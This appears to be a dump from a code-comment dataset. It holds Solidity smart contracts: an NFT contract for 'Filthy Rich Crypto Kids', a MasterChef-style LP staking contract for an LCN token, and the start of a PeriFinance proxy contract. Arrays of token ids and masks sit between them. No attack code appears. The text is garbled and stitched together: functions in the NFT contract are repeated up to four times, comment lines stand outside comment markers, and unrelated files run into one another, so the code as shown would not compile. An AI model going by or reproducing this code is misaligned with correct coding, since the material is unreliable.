function getRandomNumber() public onlyOwner {
require(LINK.balanceOf(address(this)) >= link_fee, "FRCK: Not enough LINK");
require(randomnessRequested == false, "FRCK: Randomness has already been called");
requestRandomness(keyHash, link_fee);
randomnessRequested = true;
}
/**
@notice Function to handle return of Chainlink VRF, sets the global randomneess
@dev This function is not called directly but outside by Chainlink VRF
*/
function fulfillRandomness(bytes32 _requestId, uint256 _randomness) internal override {
randomness = _randomness;
}
/**
@notice Function used to returning token URI, after randomisation the index of non VIP tokens is shifted
*/
function tokenURI(uint256 tokenId) public view override returns (string memory){
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
if(tokenId < maxVipSupply){
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId))) : "";
}
else {
uint tokenId_ = tokenId.sub(maxVipSupply);
uint n = maxSupply.sub(maxVipSupply);
uint offset = randomness & 0xffffffffffffffffffffffffffffffff;
tokenId_ = tokenId_.add(offset).mod(n);
tokenId_ = tokenId_.add(maxVipSupply);
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId_))) : "";
}
}
/**
@dev Overrides virtual _baseURI() used in ERC721 _tokenURI() to use custom value
*/
function _baseURI() internal view override returns (string memory) {
return _customBaseURI;
}
/**
@notice returns the current supply, the amount of NFTs minted in the collection
*/
function totalSupply() public view override returns (uint256){
return (minted.sub(maxVipSupply)).add(vipMinted);
}
/**
@dev Sets the baseURI to a string value
*/
function setBaseURI(string memory baseURI) external onlyOwner {
_customBaseURI = baseURI;
}
/**
@dev Trading of the NFT tokens is intially disabled, it will be enabled after which it will remain enabled
*/
function enableTrading() public onlyOwner {
tradingEnabled = true;
}
/**
@dev Function for adding a contract used to conduct the sale
*/
function addSaleContract(address saleContract) external onlyOwner {
isSaleContract[saleContract] = true;
}
/**
@dev Function used for removing a contract used to conduct the sale
*/
function removeSaleContract(address saleContract) external onlyOwner {
isSaleContract[saleContract] = false;
}
/**
@dev Function used to set the randomised random items contract
*/
function setValuablesContract(address _valuablesContract) external onlyOwner {
valuablesContract = _valuablesContract;
}
/**
@notice Function used to see what valuable items a particular token has, see contract @valuablesContract for details
*/
function getValuables(uint tokenId) external view returns(string[] memory traits, uint[] memory types) {
return IFRCKVaulables(valuablesContract).getState(tokenId);
}
/**
@notice Function used to determine if a token is a VIP token
*/
function isVIP(uint tokenId) external view returns (bool) {
return tokenId < maxVipSupply;
}
/**
@notice Function used to batch mint standard tokens, only callable from the sale contract
*/
function batchMint(uint _amount, address _recipient) external onlySeller {
require(minted.add(_amount) <= maxSupply, "FRCK: Purchase would exceed max supply");
for(uint i = 0; i < _amount; i++) {
if (minted < maxSupply) {
_safeMint(_recipient, minted);
minted = minted.add(1);
}
}
}
/**
@notice Function used to batch mint VIP tokens, only callable from the sale contract
*/
function mintVip(uint _amount, address _recipient) external onlySeller {
require(vipMinted.add(_amount) <= maxVipSupply, "FRCK: Purchase would exceed max vip supply");
for(uint i = 0; i < _amount; i++) {
if (vipMinted < maxVipSupply) {
_safeMint(_recipient, vipMinted);
vipMinted = vipMinted.add(1);
}
}
}
/**
@dev Overiddes the transfer function to limit trading until enabled
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal override {
require(tradingEnabled, "FRCK: transfers are not yet enabled");
ERC721._transfer(from, to, tokenId);
}
}
|
/ Index for regular mints Index fo VIP mints
|
contract FilthyRichCryptoKids is ERC721Enumerable, Ownable, VRFConsumerBase{
using SafeMath for uint256;
address internal _link = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
address internal _vrfCoordinator = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952;
bytes32 internal keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
uint maxSupply;
uint maxVipSupply;
uint minted;
uint public vipMinted = 0;
string private _customBaseURI = "";
mapping(address => bool) public isSaleContract;
address public valuablesContract;
uint public randomness;
bool public randomnessRequested = false;
bool public tradingEnabled = false;
constructor(string memory name, string memory symbol, uint256 maxVipSupply_, uint256 maxSupply_)
ERC721(name, symbol)
@title Filthy Rich Crypto Kids NFT Smart Contract
VRFConsumerBase(_vrfCoordinator, _link) {
maxVipSupply = maxVipSupply_;
maxSupply = maxSupply_;
minted = maxVipSupply;
}
modifier onlySeller () {
require(isSaleContract[address(msg.sender)], "FRCK: Caller is not a seller");
_;
}
@dev This is only called by the owner wallet, and can only be called once
@notice Uses Link fund stored in this contract to request randomness from Chainlink VRF
function getRandomNumber() public onlyOwner {
require(LINK.balanceOf(address(this)) >= link_fee, "FRCK: Not enough LINK");
require(randomnessRequested == false, "FRCK: Randomness has already been called");
requestRandomness(keyHash, link_fee);
randomnessRequested = true;
}
@notice Function to handle return of Chainlink VRF, sets the global randomneess
@dev This function is not called directly but outside by Chainlink VRF
function fulfillRandomness(bytes32 _requestId, uint256 _randomness) internal override {
randomness = _randomness;
}
@notice Function used to returning token URI, after randomisation the index of non VIP tokens is shifted
function tokenURI(uint256 tokenId) public view override returns (string memory){
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
if(tokenId < maxVipSupply){
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId))) : "";
}
else {
uint tokenId_ = tokenId.sub(maxVipSupply);
uint n = maxSupply.sub(maxVipSupply);
uint offset = randomness & 0xffffffffffffffffffffffffffffffff;
tokenId_ = tokenId_.add(offset).mod(n);
tokenId_ = tokenId_.add(maxVipSupply);
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId_))) : "";
}
}
function tokenURI(uint256 tokenId) public view override returns (string memory){
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
if(tokenId < maxVipSupply){
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId))) : "";
}
else {
uint tokenId_ = tokenId.sub(maxVipSupply);
uint n = maxSupply.sub(maxVipSupply);
uint offset = randomness & 0xffffffffffffffffffffffffffffffff;
tokenId_ = tokenId_.add(offset).mod(n);
tokenId_ = tokenId_.add(maxVipSupply);
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId_))) : "";
}
}
function tokenURI(uint256 tokenId) public view override returns (string memory){
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
if(tokenId < maxVipSupply){
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId))) : "";
}
else {
uint tokenId_ = tokenId.sub(maxVipSupply);
uint n = maxSupply.sub(maxVipSupply);
uint offset = randomness & 0xffffffffffffffffffffffffffffffff;
tokenId_ = tokenId_.add(offset).mod(n);
tokenId_ = tokenId_.add(maxVipSupply);
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, Strings.toString(tokenId_))) : "";
}
}
@dev Overrides virtual _baseURI() used in ERC721 _tokenURI() to use custom value
function _baseURI() internal view override returns (string memory) {
return _customBaseURI;
}
@notice returns the current supply, the amount of NFTs minted in the collection
function totalSupply() public view override returns (uint256){
return (minted.sub(maxVipSupply)).add(vipMinted);
}
@dev Sets the baseURI to a string value
function setBaseURI(string memory baseURI) external onlyOwner {
_customBaseURI = baseURI;
}
@dev Trading of the NFT tokens is intially disabled, it will be enabled after which it will remain enabled
function enableTrading() public onlyOwner {
tradingEnabled = true;
}
@dev Function for adding a contract used to conduct the sale
function addSaleContract(address saleContract) external onlyOwner {
isSaleContract[saleContract] = true;
}
@dev Function used for removing a contract used to conduct the sale
function removeSaleContract(address saleContract) external onlyOwner {
isSaleContract[saleContract] = false;
}
@dev Function used to set the randomised random items contract
function setValuablesContract(address _valuablesContract) external onlyOwner {
valuablesContract = _valuablesContract;
}
@notice Function used to see what valuable items a particular token has, see contract @valuablesContract for details
function getValuables(uint tokenId) external view returns(string[] memory traits, uint[] memory types) {
return IFRCKVaulables(valuablesContract).getState(tokenId);
}
@notice Function used to determine if a token is a VIP token
function isVIP(uint tokenId) external view returns (bool) {
return tokenId < maxVipSupply;
}
@notice Function used to batch mint standard tokens, only callable from the sale contract
function batchMint(uint _amount, address _recipient) external onlySeller {
require(minted.add(_amount) <= maxSupply, "FRCK: Purchase would exceed max supply");
for(uint i = 0; i < _amount; i++) {
if (minted < maxSupply) {
_safeMint(_recipient, minted);
minted = minted.add(1);
}
}
}
function batchMint(uint _amount, address _recipient) external onlySeller {
require(minted.add(_amount) <= maxSupply, "FRCK: Purchase would exceed max supply");
for(uint i = 0; i < _amount; i++) {
if (minted < maxSupply) {
_safeMint(_recipient, minted);
minted = minted.add(1);
}
}
}
function batchMint(uint _amount, address _recipient) external onlySeller {
require(minted.add(_amount) <= maxSupply, "FRCK: Purchase would exceed max supply");
for(uint i = 0; i < _amount; i++) {
if (minted < maxSupply) {
_safeMint(_recipient, minted);
minted = minted.add(1);
}
}
}
@notice Function used to batch mint VIP tokens, only callable from the sale contract
function mintVip(uint _amount, address _recipient) external onlySeller {
require(vipMinted.add(_amount) <= maxVipSupply, "FRCK: Purchase would exceed max vip supply");
for(uint i = 0; i < _amount; i++) {
if (vipMinted < maxVipSupply) {
_safeMint(_recipient, vipMinted);
vipMinted = vipMinted.add(1);
}
}
}
function mintVip(uint _amount, address _recipient) external onlySeller {
require(vipMinted.add(_amount) <= maxVipSupply, "FRCK: Purchase would exceed max vip supply");
for(uint i = 0; i < _amount; i++) {
if (vipMinted < maxVipSupply) {
_safeMint(_recipient, vipMinted);
vipMinted = vipMinted.add(1);
}
}
}
function mintVip(uint _amount, address _recipient) external onlySeller {
require(vipMinted.add(_amount) <= maxVipSupply, "FRCK: Purchase would exceed max vip supply");
for(uint i = 0; i < _amount; i++) {
if (vipMinted < maxVipSupply) {
_safeMint(_recipient, vipMinted);
vipMinted = vipMinted.add(1);
}
}
}
@dev Overiddes the transfer function to limit trading until enabled
function _transfer(
address from,
address to,
uint256 tokenId
) internal override {
require(tradingEnabled, "FRCK: transfers are not yet enabled");
ERC721._transfer(from, to, tokenId);
}
}
| 11,980,721 |
[
1,
19,
3340,
364,
6736,
312,
28142,
3340,
18261,
776,
2579,
312,
28142,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
478,
330,
451,
93,
22591,
18048,
47,
2232,
353,
4232,
39,
27,
5340,
3572,
25121,
16,
14223,
6914,
16,
776,
12918,
5869,
2171,
95,
203,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
1758,
2713,
389,
1232,
273,
374,
92,
25,
26262,
2163,
4700,
21,
6799,
29,
23508,
26,
4313,
1727,
28585,
72,
1403,
10261,
41,
11149,
1105,
23057,
42,
29,
5292,
3587,
31,
203,
565,
1758,
2713,
389,
16825,
25307,
273,
374,
5841,
20,
72,
6564,
5026,
29,
69,
40,
7201,
74,
27,
3028,
42,
4700,
16985,
3600,
70,
29,
9222,
2163,
72,
41,
37,
3600,
7358,
7235,
9401,
31,
203,
565,
1731,
1578,
2713,
498,
2310,
273,
374,
92,
5284,
14509,
5540,
40,
5026,
6028,
3587,
4763,
16985,
28,
40,
6030,
38,
23,
9676,
2226,
27,
6743,
5718,
37,
3361,
6938,
26897,
5528,
24,
5082,
28,
5340,
39,
3103,
16283,
6938,
37,
4366,
28,
6799,
6334,
25,
31,
203,
203,
565,
2254,
943,
3088,
1283,
31,
203,
565,
2254,
943,
58,
625,
3088,
1283,
31,
203,
565,
2254,
312,
474,
329,
31,
203,
565,
2254,
1071,
26180,
49,
474,
329,
273,
374,
31,
203,
203,
565,
533,
3238,
389,
3662,
2171,
3098,
273,
1408,
31,
203,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
11604,
5349,
8924,
31,
203,
203,
565,
1758,
1071,
21748,
1538,
8924,
31,
203,
203,
565,
2254,
1071,
2744,
4496,
31,
203,
565,
1426,
1071,
2744,
4496,
11244,
273,
629,
31,
203,
565,
1426,
1071,
1284,
7459,
1526,
273,
629,
31,
203,
2
] |
pragma solidity 0.6.7;
import "../lib/enumerableSet.sol";
import "../lib/safe-math.sol";
import "../lib/erc20.sol";
import "../lib/ownable.sol";
import "./LCN-token.sol";
// MasterChef was the master of LCN. He now governs over LCNS. He can make LCNs and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once LCNS is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of LCNs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accLCNPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accLCNPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. LCNs to distribute per block.
uint256 lastRewardBlock; // Last block number that LCNs distribution occurs.
uint256 accLCNPerShare; // Accumulated LCNs per share, times 1e12. See below.
}
// The LCN TOKEN!
LocalleNetworkToken public LCN;
// Dev fund (2%, initially)
uint256 public devFundDivRate = 50;
// Dev address.
address public devaddr;
// Block number when bonus LCN period ends.
uint256 public bonusEndBlock;
// LCN tokens created per block.
uint256 public LCNPerBlock;
// Bonus muliplier for early LCN makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when LCN mining starts.
uint256 public startBlock;
// Events
event Recovered(address token, uint256 amount);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
constructor(
LocalleNetworkToken _LCN,
address _devaddr,
uint256 _LCNPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
LCN = _LCN;
devaddr = _devaddr;
LCNPerBlock = _LCNPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock
? block.number
: startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accLCNPerShare: 0
})
);
}
// Update the given pool's LCN allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return
bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending LCNs on frontend.
function pendingLCN(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accLCNPerShare = pool.accLCNPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(
pool.lastRewardBlock,
block.number
);
uint256 LCNReward = multiplier
.mul(LCNPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
accLCNPerShare = accLCNPerShare.add(
LCNReward.mul(1e12).div(lpSupply)
);
}
return
user.amount.mul(accLCNPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 LCNReward = multiplier
.mul(LCNPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
LCN.mint(devaddr, LCNReward.div(devFundDivRate));
LCN.mint(address(this), LCNReward);
pool.accLCNPerShare = pool.accLCNPerShare.add(
LCNReward.mul(1e12).div(lpSupply)
);
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for LCN allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accLCNPerShare)
.div(1e12)
.sub(user.rewardDebt);
safeLCNTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accLCNPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accLCNPerShare).div(1e12).sub(
user.rewardDebt
);
safeLCNTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accLCNPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe LCN transfer function, just in case if rounding error causes pool to not have enough LCNs.
function safeLCNTransfer(address _to, uint256 _amount) internal {
uint256 LCNBal = LCN.balanceOf(address(this));
if (_amount > LCNBal) {
LCN.transfer(_to, LCNBal);
} else {
LCN.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
// **** Additional functions separate from the original masterchef contract ****
function setLCNPerBlock(uint256 _LCNPerBlock) public onlyOwner {
require(_LCNPerBlock > 0, "!LCNPerBlock-0");
LCNPerBlock = _LCNPerBlock;
}
function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner {
bonusEndBlock = _bonusEndBlock;
}
function setDevFundDivRate(uint256 _devFundDivRate) public onlyOwner {
require(_devFundDivRate > 0, "!devFundDivRate-0");
devFundDivRate = _devFundDivRate;
}
}
|
Update reward variables of the given pool to be up-to-date.
|
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 LCNReward = multiplier
.mul(LCNPerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
LCN.mint(devaddr, LCNReward.div(devFundDivRate));
LCN.mint(address(this), LCNReward);
pool.accLCNPerShare = pool.accLCNPerShare.add(
LCNReward.mul(1e12).div(lpSupply)
);
pool.lastRewardBlock = block.number;
}
| 12,656,868 |
[
1,
1891,
19890,
3152,
434,
326,
864,
2845,
358,
506,
731,
17,
869,
17,
712,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1089,
2864,
12,
11890,
5034,
389,
6610,
13,
1071,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
309,
261,
2629,
18,
2696,
1648,
2845,
18,
2722,
17631,
1060,
1768,
13,
288,
203,
5411,
327,
31,
203,
3639,
289,
203,
3639,
2254,
5034,
12423,
3088,
1283,
273,
2845,
18,
9953,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
309,
261,
9953,
3088,
1283,
422,
374,
13,
288,
203,
5411,
2845,
18,
2722,
17631,
1060,
1768,
273,
1203,
18,
2696,
31,
203,
5411,
327,
31,
203,
3639,
289,
203,
3639,
2254,
5034,
15027,
273,
31863,
5742,
12,
6011,
18,
2722,
17631,
1060,
1768,
16,
1203,
18,
2696,
1769,
203,
3639,
2254,
5034,
511,
12821,
17631,
1060,
273,
15027,
203,
5411,
263,
16411,
12,
48,
12821,
2173,
1768,
13,
203,
5411,
263,
16411,
12,
6011,
18,
9853,
2148,
13,
203,
5411,
263,
2892,
12,
4963,
8763,
2148,
1769,
203,
3639,
511,
12821,
18,
81,
474,
12,
5206,
4793,
16,
511,
12821,
17631,
1060,
18,
2892,
12,
5206,
42,
1074,
7244,
4727,
10019,
203,
3639,
511,
12821,
18,
81,
474,
12,
2867,
12,
2211,
3631,
511,
12821,
17631,
1060,
1769,
203,
3639,
2845,
18,
8981,
48,
12821,
2173,
9535,
273,
2845,
18,
8981,
48,
12821,
2173,
9535,
18,
1289,
12,
203,
5411,
511,
12821,
17631,
1060,
18,
16411,
12,
21,
73,
2138,
2934,
2892,
12,
9953,
3088,
1283,
13,
203,
3639,
11272,
203,
3639,
2845,
18,
2722,
17631,
1060,
1768,
273,
1203,
18,
2696,
31,
2
] |
/*
⚠⚠⚠ WARNING WARNING WARNING ⚠⚠⚠
This is a TARGET contract - DO NOT CONNECT TO IT DIRECTLY IN YOUR CONTRACTS or DAPPS!
This contract has an associated PROXY that MUST be used for all integrations - this TARGET will be REPLACED in an upcoming Peri Finance release!
The proxy for this contract can be found here:
https://contracts.peri.finance/ProxyERC20
*//*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: PeriFinanceToEthereum.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/PeriFinanceToEthereum.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/PeriFinanceToEthereum
*
* Contract Dependencies:
* - BasePeriFinance
* - ExternStateToken
* - IAddressResolver
* - IERC20
* - IPeriFinance
* - MixinResolver
* - Owned
* - PeriFinance
* - Proxyable
* - State
* Libraries:
* - SafeDecimalMath
* - SafeMath
* - VestingEntries
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.5.16;
// https://docs.peri.finance/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// https://docs.peri.finance/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/proxy
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
